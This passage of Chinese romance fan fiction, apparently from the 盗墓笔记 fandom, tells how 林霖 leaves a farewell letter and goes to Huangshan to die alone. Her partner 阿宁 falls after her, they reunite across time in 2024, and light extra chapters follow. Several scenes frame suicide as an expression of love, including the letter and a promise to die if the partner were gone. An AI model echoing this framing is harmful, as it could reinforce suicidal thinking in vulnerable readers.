我缩在被子里,暗中观察她的一举一动。
她在卧室走来走去,换衣服、拿钥匙、在椅背上搭好我今天要穿的衣服,在床头柜上放水杯和我的手机。每次她视线看过来,我都假装没醒,睡的安详。
渐渐的,脚步声消失了,室内一片安静,持续了十几秒,我竖起耳朵,愣是没听到一点声音。
怎么回事?我有点纳闷,没听到门响,难道她走的窗户?以她的身手,二楼跳下去也有可能。
可是也没听到窗户响啊?
最最关键的是,此女走了竟然不亲我一口?
我勃然大怒,唰地睁眼,对上阿宁凝视着我的目光,她站在床边,悄无声息的。我吃惊地看着她,立刻一把火闷在了嗓子里,虚虚地说:“哈哈,你没走啊阿宁。”
“早发现你醒了,不知道在搞什么。”阿宁看我的样子,十分受不了似地笑起来,看着我,抿唇扬眉,眼睛里是藏不住的笑。
“好了,我真的出发了,你想睡就继续睡,不想睡了就起来吃点东西,楼下厨房热的瘦肉粥,能吃多少吃多少,不要勉强。中午我煮了黑糖珍珠奶茶,也是温的。珍珠在玻璃被子里,你想吃自己加,但是糖别偷偷加太多。草莓洗好了在冰箱里,你别一下吃完了,五点的时候吃一次药,温水送服,别猛灌……”
“知道啦知道啦。”我扯被子蒙上头,佯装不耐,飞快地擦了下眼泪,心中有一瞬间的动摇,但重新望向她,看着她修长的剑眉,看她脸侧的阴影,轻轻地说:“阿宁,你亲我一口。”
阿宁蹲下来,结结实实在我头上一啄,发出响亮的声音,她捧着我的脸使劲揉:“好嘛,你越来越爱撒娇了,太犯规了。”
我勾住她的脖子,用唇瓣轻轻扫过她的脸,很快放开她,伸手推她的肩膀:“你去吧,别迟了,时间快到了,开车要两个小时呢。秀秀下了飞机,她们会联系你的。”
阿宁顺着力道站起身,大步流星地走出门,嘴角挂着毫无所觉的笑:“那我走了,在家等我。”
门关了。
阿宁没有听到林霖的回答,那时她以为林霖只是懒得搭理或者又闷头睡了过去,她拎着车钥匙匆匆赶赴黄山屯溪机场,心中算着时间和路程。
这是她这辈子最后悔的疏忽。
汽车渐行渐远,我站在阳台上,目送她远去。
我吃力地换好衣服,头越来越晕。
世界在我眼中旋转,我却感觉身体越来越轻,我大概要飞升了。
我拉开椅子,坐下,抽开钢笔笔帽,写了点东西。
下楼路过厨房,我踌躇着,还是进去,带了一杯奶茶,加了很多糖和珍珠,往口袋里装了几颗草莓。
我看着奶茶笑了下,阿宁啊,我不是听话的人,抱歉,我还是加了很多糖。
我走出院子,关好门,最后回头看了一眼这栋精致的徽派小楼,裹紧外套,汇入人流。
四点。
阿宁单手撑着方向盘,看了一眼副驾座位上的手机。
手机安静的不像话,一条短信也没有。
她皱了皱眉,林霖这个时候还没起来?
她拨了过去,向右打转向灯靠边停车。时间一分一秒的过去,电话无人接听。
一辆接一辆车从后方呼啸而过,仿佛滚滚闷雷。
车内双闪的声音仿佛化作金属敲击声,重重嗡鸣在她脑海中。
电话打了三遍,单调的铃声吵闹着,没有回应,阿宁盯着手机上的名字,一个可怕的想法缓缓成型,她浑身控制不住的发起抖来。
她抖着手,拿出另一个手机,迅速打了个电话,一接通,有人大喇喇说:“宁,你总算想起我……”
“现在立刻去霍家营地,看看霍秀秀在不在。”阿宁厉声道。
“是!”那人立刻应了,急奔的脚步混着呼呼风声,如阴影一般笼罩了阿宁。
她的眼睑不受控制地痉挛着,喉咙干渴,仔细回想着临走前林霖的神情。
没有异常,或者说,林霖她并不想让自己发现异常。
她心里一阵阵发冷。
“宁!霍秀秀她在!唔……别抓我我是好人!”“干什么的!”“大胆!绑了这个老外!”
一道耳熟的声音:“你们在干什么?先放开他。”
阿宁难以置信似的,凝神听着。那少女声音仍然再说着什么。
霍秀秀。
手机掉在脚边,那边的人依然在叫喊,脚步声、殴打声混乱不堪。
阿宁听不到任何声音。
汽车咆哮着掉头,轮胎紧抓着路面,重重碾过双黄线,朝来时的方向一路狂奔。
今日阴天,天色已经变得昏暗,汽车大灯唰然打开,照亮前面一大片路,她面无表情,油门踩到底,刀片般切过前方车辆,愤怒骂声和疯狂鸣笛被抛在风中。
有人试图追上她,但黑色的车很快消失在视野中,连车牌号都无人看清。
汽车飞驰在省道上。
“喂,我说你不用开这么快吧。”
我抓住安全带,看着飞速后退的大路,有点后悔,早知道我就坐后面了。
我欲哭无泪地看司机:“这是省道,你开这么快是不是太猖狂了?!”
司机挽着袖子,露出一节结实的小臂,她斜睨着我,“不是你让我快点,咋,慢了嫌慢,快了又不行,咋这么难伺候!”
我抓狂道:“那你可以不拉我!现在我要下车!我不坐了!”
她啧了一声,嘀咕道:“我还不想拉你呢,要不是看你站在路边可怜巴巴的……真后悔!果然善心是最没用的东西……”
她用方言说了句什么,我没听懂,大叫道:“你减速啊!减速!前面有探头!扣分罚款了!”
她几个点刹,车速慢了下来,老老实实过了探头,又开了几百米,在路口停下来等红灯。
我捧着奶茶,默默喝了一口压惊。
虽然我感觉自己要死了,但我也不想是超速追尾这种死法。
我只想找个没人的地方,安安静静的game over,不要在阿宁面前,我不想让她看到我难看的样子。
“随便一个山脚下对吧?你一个人去干什么?”司机抽空看了我两眼,奇怪道:“还要找个偏僻的地方,要不是看你没带行李箱,我还以为你要去抛尸。”
“你话真多,开你的车。”我有点无语,说完,我闭目养神,不再搭理她。
司机不说话了,过了不知道多久,车子稳稳停下,“到了。”
我一看,熙熙攘攘的黄山游客一批一批走过,各色旅游团大巴在不远处停车场轰鸣。
她给我拉到黄山风景区了。
“……”
我看着她,嘴角抽搐,她无辜地看我,健康的小麦色脸庞上露出爽朗地笑,摆摆手:“不用谢、不用谢。黄山很美,来了不亏。”
我气冲冲下车,砰地甩上车门。
我向前走了几步,她忽然开口叫我:“年轻人!”
我皱眉看去,司机一条手臂搭在大开的窗户上,姿势放松,她叼着烟点燃,烟雾遮盖眼角皱纹,她对我一笑:“开的快了点,看你那吓的要死的熊样,不像想不开不要命的傻孩子啊。听姐一句劝,人生没有迈不过的坎儿,挫折和困难都是暂时的,好好活着,比什么都强!”
喧嚣的人声中,她一个漂亮的三角掉头,潇洒离去。
我沉默地目送她:“谢了。”
人潮汹涌,我单手插兜静立在原地,无数人经过我,像河流,我像河中央一块长了青苔的石头。
说起来还真挺奇妙,我当初夜爬的景区,就是黄山。
我无意再来,命运却将我再一次带到了这里。
厚厚的云层散开了些,月亮若隐若现,我买了一张票,一瓶水,一个登山杖,踏上了黄山。
缆车上行,我不由自主,朝西边凝望着。这个时间,都是下山的人,对向缆车挤的满满当当,上山的缆车空无一人。
我的精神越来越恍惚,有种灵魂出窍的感觉,海拔气压差使我开始耳鸣,我喝了奶茶,嚼嚼珍珠,把阿宁的手串取了下来,握在手心。
这是我唯一的私心了。阿宁,你的手串,我就带走了。
铜钱边缘的热量传递到我手里,我假装这是她的温度,握紧了,跌跌撞撞下了缆车。
“呲啦——”
刺耳的轮胎摩擦声响起,两辆车头悍然撞在一起,铁皮哐啷一声掉下来,出租车车牌要掉不掉地耷拉着。
这是一条窄路,多行人通过,谁都没想到这个路口有车冲出来,还是两辆。
阿宁跌跌撞撞下了车,仿佛没看见指着她骂的司机。她冲向一边的小楼,眼睛盯着二楼窗户。
有光。
她陡然松了口气,也许,也许只是林霖在恶作剧,她现在说不定正在床上好好坐着,在吃草莓,等见到自己回来,会心虚地凑上来,抱着自己,表示她只是闹着玩。
阿宁的脸上带了点笑意,三步并做一步冲向二楼,喊道:“林霖!我回来了!”
门猛然打开,房间空无一人。
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>阿宁僵了僵,看向房间里唯一个淹着门的浴室,慢慢走过去,轻轻喊:“林霖?你在洗澡吗,怎么不接电话?”
她走到浴室门口,透过门缝窥着。
没有水汽,没有声音。
一只手忽然伸了出来,推开浴室门。
司机从后面探出脑袋看了看,挠了挠头,莫名其妙:“没人啊,你他大爷的赔我车啊,找毛呢?你身上这衣服,咋这么眼熟?”她语气疑惑。
阿宁浑身发冷,仔细扫过浴室每一个瓷砖缝,仿佛要从里面扣一个林霖出来。
“你…”她冷冷地转身,看着司机,眼中几乎有化成实质的恨意,她暴怒地揪起司机领子:“你这个蠢货!你做了什么?!谁让你上来的?谁允许你推门的?!你给我滚!”
阿宁握紧了拳头,猛地把她拽出去,关在门外。
她颓然环顾四周,床上的被子凌乱,林霖没有叠被子的习惯。她的拖鞋随意扔在地毯上,有一只底朝天翻着。
摆设一切都很随意,仿佛房间主人只是匆匆出了个门,马上就会拎着什么东西回来。
阿宁忽然被一个东西吸引了视线,表情有些怔忪。
桌子上放了一张纸。
她慢慢走过去。
一行熟悉的字体映入眼帘:【亲爱的阿宁:我走了。不要为我哭泣,在遇到你的这些日子里,我无比幸福。和你在一起的时光,我经历了太多精彩,我的人生值得了。】
【阿宁,我爱你。中国人总是羞以启齿对亲人的爱,所以我们总是沉默着表达爱意。爱说多了似乎会贬值,我吝啬于诉说对你的爱。但写在纸上,一笔一划都是郑重的,我想说,我很爱很爱很爱你。你的冒险故事,我都知道,你的英勇狡诈,我欣赏喜爱。我爱你的短发、爱你的眼睛、爱你滚烫的肌肤、爱你背上的疤。好看的容貌不过是你的锦上添花,坚定强大的内核浇灌成你的血肉灵魂。我爱你的坚毅,爱你走过的风霜雨雪,灵魂永远向往着你。】
【请原谅我的不告而别,抱歉,我带了私心,我无法看到你因为我悲痛欲绝,那样我不如自己结束掉生命。人生本就是一场体验,一场修行,我们可以相爱,大概是我们上辈子有缘。我没有爱过什么人,唯独对你,粉身碎骨我都甘愿,不过有时候我也很生气,你那个老板,不是好东西,真想把他毙了……不过还是算了,他这辈子唯一做的好事就是收养你,好吧,我很勉强地决定不打死他了。】
【手串我带走了,其实我也不知道我要去哪儿,只是觉得自己该走了。秀秀要来是我的借口(不过这个时候你一定知道了),骗了你,嘿嘿,求原谅。】
【皖南的风景很美,在皖南的阿宁更美,小楼好看,小猫可爱,阿宁做的饭也好吃。我之前以为你不会做饭呢,原来我们阿宁什么都会啊。很厉害。】
【其实我还有很多计划没和你一起做,我想和你去雪山滑雪,想和你在瑞典看极光,想和你认认真真吃一顿烛光晚餐,想和你在每颗古树下系上同心结。我想和你一起翻过每一座山,越过每一条河。】
【但很可惜,没时间了。我真的要走了。别伤心……阿宁啊,向前看,不要为我止步不前。我永远爱你,希望下辈子,我和你一起活到九十九。】
阿宁哭得不能自已,信纸哗哗作响,她身体摇晃,泛白的手指撑住桌角,喉咙里溢出悲切的呜咽。
“你不能这样对我……”阿宁跌坐在地上,昂起头无声地哭泣着,泪水大滴滚落,很快浸湿了领口。
她眼神空洞地看着虚空,眼前出现斑驳的幻觉,视网膜上都是林霖一颦一笑的模样。
“我不要下辈子,你别丢下我……你等着我。你等着我跟你一起。”
阿宁坐在地上小声说,她眼神燃起夺目的亮光,她要找到林霖,她要和她在一起。
阿宁撑着地起来,一把拉开门。
门外蹲在地上无所事事的司机猛地站起来,把手机凑过去给阿宁看,激动地说:“她你认不认得?她穿的和你一样。”
阿宁正想掀翻她,眼睛一看,立刻定住了,夺过手机。
照片是对着后视镜拍的,层林尽染的群山为背景,穿着卡其色风衣的林霖目光平静地望着这边。
阿宁瞳孔骤缩,大力抓住司机的手腕,血红的眼睛盯着她,让司机吓了一跳,那一瞬间她怀疑眼前这个女人是不是已经疯了?
摄人可怖眼神看着司机,阿宁仿佛一只穷途末路的野兽。
虚弱的能被轻易打倒,又凶狠的让人不敢靠近。
她一字一句,状如啼血:“这是哪里?”
48.命运
“这里是黄山市xx新闻,本台记者为您报道:今天是2024年11月29号,今早黄山风景区的工作人员巡山路上,在景区非开放区发现一位迷路的游客林某,据了解,林某于昨日傍晚时分登山,由于山路崎岖,夜晚视线不佳,林某失去方向,迷路失联……”
“发现该游客时,林某身体虚弱,意识恍惚。目前,林某已被送往医院进行治疗,医生称该游客并无生命危险。”
“黄山风景区主要负责人提醒广大市民,登山等户外活动务必做好充分准备,并与家人做好报备,随时保持联系,确保自身安全……”
我没有死,而且还回来了。
我做梦般关掉平板,病房里空无一人,外面有本地媒体试图挤进来采访我,但被拦住了。
警方联系了我的家人和辅导员,妈妈没来,派了管家过来照顾我,我拒绝了要过来辅导员,安静地坐在床上。
我拿起手机,点了点,又放下。
猛然换成大屏幕的智能手机,还真有点不习惯了。
动作牵动了输液的手,带来点痛意。
我直接拔了针,靠在床上,皱着眉看房间里的一切。
从被营救到现在,我依然处在一种浑浑噩噩中。
我仿佛身处空中楼阁,每踩一步都是飘的。
谈话声、问候声、仪器滴滴声就像隔着一层水,让我听不真切。
我潜泳在深湖之中,斑驳的光打在我的脸上,我奋力向上游去,却怎么也摸不到头。
我不知道发生了什么,使我从阿宁所在的那个2004年的世界回到了现在2024年的世界。
时间,空间,都发生了改变。
为什么?是什么契机?我为什么没有死?记忆的最后片段,是我跌倒在一片树林中。再睁开眼,就看到一堆医护人员,2024年的医护人员。
我尝试着拨打阿宁的电话,秀秀的电话。虽然我知道这有多荒谬。
当然没有人接听,手机里的忙音吵的人心慌。
视线落在铜钱手串上,我一枚一枚地捏着,又去摸我的脖子。
项链和手串都浸染着我的温度,告诉我这一切不是梦,我不是在山上睡了一觉坐了场奇怪的梦,我真真切切地在那个世界度过了几个月。
那些泪与离别,爱与拥抱,都是真的。
“砰——”
医生开门大步走进来。
她上衣口袋里插着圆珠笔,看了我一眼,递给我几张复杂的检测表,面无表情地说了一大堆专业术语。
我听的云里雾里,好在医生最后说:“……你这种指标的情况,是大病初愈就来爬山?太不像话了,对自己一点都不负责。”
管家面上露出疑惑来,刚要开口,我打断她,说了几句不痛不痒的话,送走了医生。
我要求立刻出院,医院也对蹲守的媒体很头疼,马上同意了。
管家带我回到上海。
家里依旧没有人。
我和妈妈爸爸打了电话,我妈又给我打了一笔钱,不轻不重地讲了我几句,仿佛公司例行开会,说完就匆匆挂了。
我对着电话笑笑。
地球没了谁都能转。
每天太阳照样升起,又在西边落下。
我向学校申请了一个月的假,一个人开着车重新走过我和阿宁经过的路。
我在执拗地寻找什么,以证明她的存在。
二十年的变迁,即使书是以现实为背景,我也很难找到熟悉的地方。
都不一样。
上海我找不到逃杀的滩涂、格尔木我找不到厚厚镜片的医生、巴乃没有瑶寨、北京没有霍家。
我收集了书里关于阿宁的所有片段,装订成册,放在副驾驶位上,给她系上安全带。
我痴迷地读着她每一句话,每一个动作,每一个神态,想象她做这些事时候的表情。自娱自乐了很久。
我画了很多幅阿宁的画,厚厚一叠,整整齐齐放在后座,开车累了我就下去透透气,顺手搂着她絮絮叨叨指点远处的风景。
休息好了,我就继续踏上旅途,我很累,但我不想停。
我平静的和别人说话,平静地买东西,平静地吃饭,睡觉。
灵魂仿佛抽离,上帝视角般看着那个正常无比的林霖演绎着种种活动,我混沌地度过每一天。
我清晰地感到,我的生机像雨后的竹子一样疯狂生长着,仿佛某种错误抹除,棋子归位,空间中无数齿轮卡卡作响运转,立体、庞大、复杂。
我的灵魂却逐渐下沉,没有尽头。
我不明白,为什么我的生命复苏了,灵魂暗淡了。
我疲于思考,我无法思考。
每天我企图让自己忙的不可开交,以便没有时间想她的事情。
但我无法做到。
我无时无刻都在癫狂地回忆她,开车想,吃饭想,睡觉想。
人群中看到和她相像的侧脸,我就几乎立刻狂奔起来,拽住某个惊讶的路人,复又狼狈道歉。
我在想什么?
妄想什么?
谁能比我更清楚,这个世界上,不可能会有她的存在吗?
捡回一条命,我怎么还敢想这么多?我应该继续着我的生活,我的学业,潇洒又快乐的重启我的人生?
我心里发痛,又痒,仿佛有无数蚂蚁钻进我的血管,啃食着我,细密地化成剧毒流淌进我的心脏。
我恨不得,恨不得把心剥出来,仔仔细细洗一洗,洗掉那些让我发狂的痛苦和怨恨。
可笑的是,我甚至都不知道
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可以恨谁。
从长沙出发,沿 G6021杭长高速一路向东,我要去最后一站,宏村。
皖南离我最近,我却在中国地图上绕了个大圈。
明明醒来的第一时间就想去宏村的那栋徽派小楼看看,是什么让你畏惧着停住脚步,恐惧着逃跑一样离开了黄山市?
“胆小鬼。”我嘲笑她。
事到如今还能抱着什么希望吗?我嗤笑一声,你在期待什么又害怕什么?不死心的对某种绝无可能的事情抱有荒谬的期待?
啪的一声,油枪跳了,我拔出来关上油盖,把自己摔进驾驶位。
汽车使出加油站,重新冲入高速,加满的汽油在内燃机里飞快燃烧膨胀,驱动着沉重的车身。
我驾驶着车,轻快地笑起来,心脏感到些许轻松。
这也许是大脑欺骗我的假象,但我不在乎了,我什么都不在乎。
傍晚时分,我下了高速,开过一段路到达宏村。
南湖边,画桥上穿汉服打卡的人很多,各种摆造型的姑娘十分好看,镜头一闪,她们露出完美笑容。
风吹过她们的裙琚,丝带在湖面飘扬。
我垂着眼睛,看着对岸。
横线分隔世界,粉墙黛瓦青山行人,岸上一世界,水中一世界。
只可惜镜像翻转之后,我的世界没有了她。
没有了她的世界,还有什么意义?
徽派小楼不复存在,南湖岸边没有阿宁。
夕阳最后一丝余韵消失,宏村笼罩在一片黄昏中,橘红水面朦胧平静,红色灯笼渐渐亮起。
我动了动麻木的脚,向前走了两步,看着水面中的自己。
一个面色苍白,充满疲惫的人看着我。
她捂住胸口,眼睛移动了一下,凝视着什么,又仿佛只是在看橘红的天。
你终于死心了。
她扯了扯嘴角,低着头,再也没有留恋地离开。
石板路上,一双靴子猝然撞入视线。
我十分缓慢地抬起头。
人潮的喧嚣化成虚无的空白,世界静得仿佛只剩下我们两个。
死寂的心脏狂跳起来,万念俱灰的躯体长出灵魂。
风掀起她棕色大衣的衣角,在一片暖黄的色调中,阿宁摘下耳畔的蓝牙耳机,看着我,她脸上带着淡淡的微笑,眼泪却不断地流下来。
“……要一起听音乐吗?林霖?”
【我属于你的注定】
【不属于我的命运】
【不要命不要清醒】
【还有梦能紧紧抱着你】
【爱写出我的诗经】
【算不出我的命运】
【你给我的命下一辈子再还你】
——
全文完。
49.番外·阿宁篇[番外]
阿宁不知道自己怎么了。
她在听出租车司机说完“黄山”两个字,几乎被人当头一棒敲在脑门上。
她再也听不清任何人的声音,司机的嘴巴还在张合,阿宁暴怒地推开她,握着楼梯的栏杆一跃而下,冲进还怼着出租车的车,倒车加速,一溜烟不见了。
破损的车飞驰在路上。
车皮碎片被风掀起,她的心分崩离析。
阿宁从来都知道林霖有主见,有想法。她的爱人时常用一种忧伤的眼神看她,就算她们现在在一起了,林霖有些事情也绝不多说。
她知道林霖有秘密,在午夜爱人熟睡之时,她也曾借着暗灯,窥伺着林霖的睡颜,想知道她狡黠灵动的伪装下,究竟隐藏着什么不为人知的心事。
可惜她再聪慧,也无法读心,无法预料林霖会用这样的方式和她告别。
太残忍了。
阿宁翻越闸机,揪住拦她的工作人员,求她们让她上去。
工作人员惊疑不定,最后到底通报了上级,领导立刻让人拦警戒线,缆车开最大速度上行,阿宁一路问着林霖的踪迹往里跑。
林霖不想让人发现,她走的很低调,下了缆车没几个人注意她,没人知道她往哪里走了。
阿宁站在岔路口。
黄山的云雾缭绕,一瞬间像是人间仙境。
阿宁选了个方向,毫不迟疑的向前走。
她从来都是下了决心,认定了什么就拼命去做的人。
如果赌错了,她就……
阿宁还未想好,猝不及防看到了云雾中林霖的背影。
纤长的,飘渺的。
仿佛要随风而逝。
爆喝堵在喉咙里,阿宁想要喊她,却做梦般地喊不出声音。
她狂奔起来。
隔着雾与泪,狭窄的小道上,栏杆崩裂之际,她拼命握住了林霖的手,跌入无尽深渊。
……
她的意识陷入昏沉。
一片白雾中,她仿佛飘在了空中,以一个神奇的角度,看到自己行走在潮湿的雨林中。
瀑布轰轰作响。
阿宁微微怔然,这是遇见林霖的地方。
她看到自己走到水边,接水洗了把脸,说:“等天亮了,我们回去把装备捡回来,然后找个地方休息一下,这里太危险了,我们还是得快点出去。”
话音刚落,一条血红的野鸡脖子窜出瀑布,卷上她的脖子。
阿宁看到自己睁大了眼睛。
不过几秒,她无声毙命。
阿宁的大脑空茫了一瞬。
很快,她看到吴邪扛着她的尸体,在那块平整的大石头上,蛇群劫走了尸体。
她彻底消失。
阿宁感到一丝荒谬。
她惊异于自己如此潦草的死亡,困惑于缺席的林霖。
不对……这不对。
林霖呢?
阿宁忽然感到莫大的恐慌。
……
她醒来之时,发现自己摔在了一片树林里。
依然是黄山,但似乎有哪里不对。
目之所及,缆车似乎不一样了。
她被人发现,送进医院。
一个月内景区发生两起事故,上头有意压下,社交媒体上,新闻销声匿迹。有人给阿宁发了封口费,叮嘱她别发到网上。
阿宁看着一切先进极了的事物,再一次确定时间:“2024年……12月11日?”
医生敲定她精神病。他们商量着要给她转三院。
阿宁拔了管子,跑出医院,她站在无所适从的风里,停下了脚步。
她往哪里走?她又能往哪里走?
很快阿宁不去想这些了。
她拿着景区送的手机,尝试在搜索引擎上寻找林霖。
指尖颤抖着打字,打出在嘴边,心上呢喃一万遍的名字。
阿宁忐忑、恐惧,她从没有这样的感受,唯一让她体会如此滋味的,只有林霖,只能林霖。
她搜到了林霖的新闻。
救护车担架上,游客的脸被打了马赛克。
但她紧盯着担架上的风衣,依然一眼认了出来,这是林霖。
胸腔陡然炸开,狂喜席卷了阿宁的全身,心脏强有力的泵血,灵魂仿佛苏醒,世界骤然清晰。
她看到林霖手腕上带着的铜钱手串,手腕垂落在蓝色的担架边
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,红色的手绳鲜艳,夺目。
她继续搜索林霖。
2004年生,二十岁。
小学在安徽。
中学在上海。
北京大学2022级新生。
她军训的照片、别人发合影朋友圈的照片、俱乐部教练上传的射箭的照片……
来历成迷。
绝口不提的家和学业。
怎么查也查不到的背景。
黄山屯溪机场。
林霖说成黄山屯溪国际机场。
迪士尼联名款奶酪棒。
上面印着她怎么找也找不到的卡通人物。
意有所指的宏村镜面画,一线相隔的,两个世界。
一切早有征兆。
原来如此。
果然如此。
阿宁裹紧外套,一时间不知道该作何感想。
汽车长龙流水般驶过,步履匆匆的行人与她擦肩而过。
阿宁眯眼看了看夕阳,拦了辆车:“去宏村。”
她不知道林霖现在在哪儿,但她知道林霖一定会来这里。
司机在放音乐,阿宁听了一会儿,问歌名是什么。
司机直说她有品:“《命运》,DJ版的,好听!”
阿宁无端想起她诡异的梦。
她不愿意承认。
但她冥冥中觉得,那似乎就是自己的结局。
如果没有林霖。
阿宁在路边买了幅蓝牙耳机,循环播放。
走在去南湖的路上,阿宁越走越慢,心里竟然产生了畏怯的感觉。
她这辈子没怕过什么,可是林霖,从来都在她的意料之外。
她惧怕着,战栗着,直到在湖边看到了那个身影。
夕阳橘红、傍晚昏黄。
林霖背对着她,静静地站在岸边,默于空气中,死寂、沮丧。
阿宁不知道看了林霖多久,她钉在原地,想伸手,触碰她,又怕这是幻境,她的鲁莽会贸然打散美梦。
面前的人动了。
她看向她。
同样滚烫的泪落下,爱意疯狂生长,灵魂找到归宿。
她将永不放手。
50.番外·林霖篇[番外]
有时候想想,这个世界真他大爷的魔幻。
我喜欢的纸片人撵着我跑出来了。
这我说出去谁信?离大谱,真的。
但阿宁似乎对她横跨二十年的时间这件事接受良好,拉着我的手跟我回了家。
我带人回家的消息迅速燃爆全场,管家先是表示很久都没见到小姐这么开心了,而后转身电话通知了我妈爸。
两个老死不相往来的人同一时间出现在家里。
我妈还带着她新找的男模。
阿宁在上海找了家外企,职位不低。我不知道她怎么做到的,但她这个人就是有本事,很厉害。
晚上吃饭,冷清的家里,快退休的餐桌迎来史上最强战绩:
竟然坐了五个人吃饭。
我、阿宁、我妈、我妈的男模、我爸。
我兴致勃勃、阿宁略感诧异、我妈怡然自得、男模安静如鸡、我爸青筋直跳。
外加一个管家在线吃瓜。
妈妈自己就玩的花,对我的性取向无所谓,她和阿宁聊了聊,对她很是满意。
至于我爸,他的态度不重要。
男模给妈妈夹龙虾,一副体贴入微的样子,妈妈喝了一口酒,感慨似的对阿宁说:“我就林霖这一个女儿,你对她好,她喜欢你,我就满意了。”
阿宁专注地听我妈讲话,时不时点点头。
我爸整个人都红温了,但是他死要面子,做不出来当着众人的面破防掀桌子。
我妈一开口他就被吸引过去,这个时候那男模就故意给我妈服务,最后搞的他一脸愠色。
我憋笑的难受,好不容易吃完了这顿饭,我拉着阿宁回房间。刚上楼,下面噼里啪啦的就打起来了。
中间夹杂着男模茶香四溢的痛呼,和我妈的怒吼。
阿宁看着我,欲言又止,我问她想说什么。
她说我妈妈是个人物。
……
我在上海一直呆到十二月底,阿宁问我为什么不去上课。
我回答她:“搞笑!大学大学,大不了自学、大难临头才学、上b站大学。我们一般期末周才会开学。”
阿宁笑的不行。
一月份,我赶回去考试。
辅导员知道我遭遇了“重大危险”,遭到了巨大的“心理创伤”,以至于请了小半个学期的假。
她和老师们打过了招呼,我又赶着最后几节课划上重点,顺便卖惨装乖一波。
老师们人好,给我的平时分没有很低,期末考我考的中规中矩,反正估摸着不会挂科就行,就这么糊弄过去了。
我考完最后一场,推着行李箱走出校门时,看到阿宁抱着花站在大门口,她穿了一件灰色的毛呢大衣,里面搭配黑色高领打底衫,干练十足,走路带风,惹眼的要命,不少人偷偷看她。
我冲上去给了她一个熊抱,响亮地亲了她一口,旁边立马有人嚎叫,还有人举起了手机。
我窜上车,阿宁把行李箱放好,她上车,问我想去哪儿。
我表示吃惊:“你不回去上班吗?放假了?还是你请假了?”
“请假了,来接你去玩。”
“我猜你不想回家,”阿宁一边说,一边转头看我,“考的怎么样?”
我咯咯直笑,惬意地往后靠,说:“反正能过,不挂就行了……不急着回家,管家天天着了魔一样对我俩念短剧台词,真受不了了!让她自己演吧。”
我拿出手机看了看,说:“有点饿了,先去王府井那边吃饭,晚上去游乐园,我想坐摩天轮。”
阿宁在车载导航上输入指令,失笑:“好熟练的一套流程,我也是有这个殊荣能和林小姐一起玩了。”
我立刻打了她胳膊两下,阿宁嘴唇一抿,表情有点暗爽,变态的很。
我也是最近才发现,阿宁好像格外喜欢我打她。
平时她惹了我,我恼怒地推她,她会笑眯眯凑过来;早晨她的手动来动去,我踹她,她就顺势抱住我的腿;就连我聚精会神地打游戏,拍开她的手,她也会像个失落小狗一样钻进我的怀里。
还穿着她板正又精英范十足的制服。
那我只能丢掉手机,拽上她的领带了。
“冷吗?”
摩天轮慢慢上升,世界慢慢下降,密闭的空间里,阿宁拉着我的手,捏了捏。
我摇摇头,靠在她怀里,远处灯光璀璨,车流汇成银河。
“阿宁。”我不知道为什么有点伤感,拿着她大衣带子玩,顺手摸到了她手机,屏幕亮起,上面是我们的合照。
摩天轮越来越高,周围只剩下机械运转的嗡鸣和我们的呼吸、彼此的体温。
“怎么?”阿宁看我玩她手机,很高兴:“随便看,你什么都可以看。”
我忍不住笑,看她手机,除了会发现她比我想象的更爱我一点,还能查到什么?
我打开各类带搜索引擎的软件,阿宁除了工作需要,几乎不用,社交媒体也只是不知道什么时候关注了我的号,默默给我发过的东西点了一遍赞。
我确定她没有刷到关于盗笔的视频,推送,松了口气。
带她回家后,我偷偷把她手
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机设置了屏蔽盗笔系列和她的名字,一般来说,这样她就不会刷到这些了。
我怕她知道她来自一本书。
家里的盗笔系列我全部让管家锁起来了,我尽力不让她知道。
因为用脚趾头想也知道这不是什么好事。
我有些心不在焉,阿宁捏了捏我的脸,低头凝视着我,目光落在我的嘴巴上,黑眸中有流光划过。
她一个眼神,我就明白她想干嘛。
空气燥热起来,阿宁搂着我的腰,忽然把我闷头按在了怀里。
我愣住了,脸紧贴着她的颈窝,嗅到温暖的气息。
阿宁尤嫌不够,拿大衣包住了我。
足足十几秒,没有人说话。
“……你干嘛?”我讷讷道:“还以为你要亲我,结果把我当饺子馅包了。”
“本来是想这样的。”阿宁笑了笑,“但……忽然只想抱抱你,抱一抱就好。”
“你妈妈让我多照顾你,但有时候想想,很多都是你迁就我。”
“有吗?”我愕然。
“我心里的一种感觉。”阿宁侧头,耳朵蹭了蹭我的头发:“总觉得对你不够好,我做的还远远不够。总想着为你做的更多,但你什么都不缺,也很擅长找乐子,列表里朋友一堆。你好像每天都很开心。有时候想想,就算没有我,你也能过得很好。”
“这话怎么说的?”我从她怀里挣扎起来:“你看到的我,永远都是你在我身边的我。我当然会很开心,欢天喜地的过每一天,前提是,你在。”
阿宁神色有些怔忪,她像是没有明白,眼神有些不敢相信。
“阿宁,如果我的生命没有你,你看到宏村的南湖了吗?你看到上海连接着的海洋了吗?我会想跳进去,真的。你跟我说,你是在黄山拉着我一起坠落的……如果你没有跟着我来到这里,来到我所在的这个世界,那你就是粉身碎骨的结局。你选择了死亡。”
我看着她,微笑道:“如果这个世界没有你,我会和你做出一样的选择。没有迁就……你有多爱我,我就有多爱你,你是我生命存在的必要条件。”
阿宁漂亮的眼睛盯着我,亮亮的泪光闪烁,她的嘴唇抖动着,目光仿佛要灼伤我。
空气中忽然传来一道响声,绚烂的烟花升空爆炸,阿宁低头吻向我。
唇齿间溢出些许声音。
“第一次遇见你……你用生命做赌注,救了我。”
阿宁和我额头相抵,慢慢拉开些距离,牵起我的手,近乎虔诚地吻了吻:“那时我就知道,我恐怕再也忘不了你了。”
51.滑雪日记[番外]
2025年1月19日
星期天
晴
在我的怂恿下,阿宁和我来到阿勒泰将军山滑雪场。
我们边走边玩,开了六七天的车,汽车在高速上飞驰,车上的音乐全是我设的,劲爆dj放了一路,我激情开嗓,最后阿宁实在受不了,暴击我的脑袋,让我放过她。
来滑雪不是心血来潮,我装作不经意提出去滑雪,实际上我想在她面前秀一秀我的超绝滑雪技术。
换上衣服装备,我迫不及冲了出去,双臂张开拥抱山风。
我掐准了时机,阿宁稍慢我一步出现在雪坡上的同时,我以S型炫酷地冲了下去,单板溅起大片雪雾,我刹住板子,臭屁地拨了拨头发,扭头期待地朝阿宁那边一瞥。
阿宁踩着板子看着我,雪镜反光发蓝,脸也被面罩围的严严实实,但我有种莫名的直觉——她在笑。
“林霖好厉害!”阿宁身体前倾,对我喊道。
“搞什么啊,哄小孩呢你。”我嘀咕一声,嘴角却不由自主地上扬。
阿宁这家伙,绝对是在哄我。她知道我要耍一下酷,也愿意配合我。
我很吃这套。
真是的,她怎么,这么招人喜欢!
